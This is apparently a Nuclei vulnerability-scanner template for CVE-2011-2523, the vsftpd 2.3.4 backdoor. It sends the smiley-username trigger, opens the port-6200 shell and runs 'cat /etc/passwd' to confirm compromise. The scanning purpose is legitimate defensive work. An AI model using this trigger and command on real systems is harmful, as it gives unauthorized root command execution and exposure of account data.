54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2011-2523
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info:
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name: VSFTPD 2.3.4 - Backdoor Command Execution
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author: pussycat0x
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severity: critical
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description: |
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VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.
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impact: |
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Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the FTP server.
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remediation: |
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Update to the latest version of VSFTPD, which does not contain the backdoor.
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reference:
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- https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
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- https://www.exploit-db.com/exploits/49757
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- http://packetstormsecurity.com/files/162145/vsftpd-2.3.4-Backdoor-Command-Execution.html
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- https://access.redhat.com/security/cve/cve-2011-2523
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- https://security-tracker.debian.org/tracker/CVE-2011-2523
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2011-2523
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cwe-id: CWE-78
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epss-score: 0.85861
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epss-percentile: 0.98557
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cpe: cpe:2.3:a:vsftpd_project:vsftpd:2.3.4:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: vsftpd_project
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product: vsftpd
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shodan-query: product:"vsftpd"
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tags: packetstorm,cve2011,network,cve,vsftpd,ftp,backdoor,vsftpd_project,tcp
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variables:
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cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs
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tcp:
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- host:
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- "{{Hostname}}"
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port: 21
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inputs:
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- data: "USER letmein:)\r\nPASS please\r\n"
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read: 100
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- host:
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- "{{Host}}:6200"
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inputs:
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- data: "{{cmd}}\n"
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read: 100
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matchers:
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- type: regex
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part: raw
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regex:
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- "root:.*:0:0:"
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# digest: 4b0a00483046022100f59d59f9529a3517843c071ba3e71d6f96554a7f73de8ca270d9065e52010ca1022100dfa4c6d38a6df1d03ea6c03dadd88e835917e0b144fcd588cc7f399889b27a38:922c64590222798bb761d5b6d8e72950 |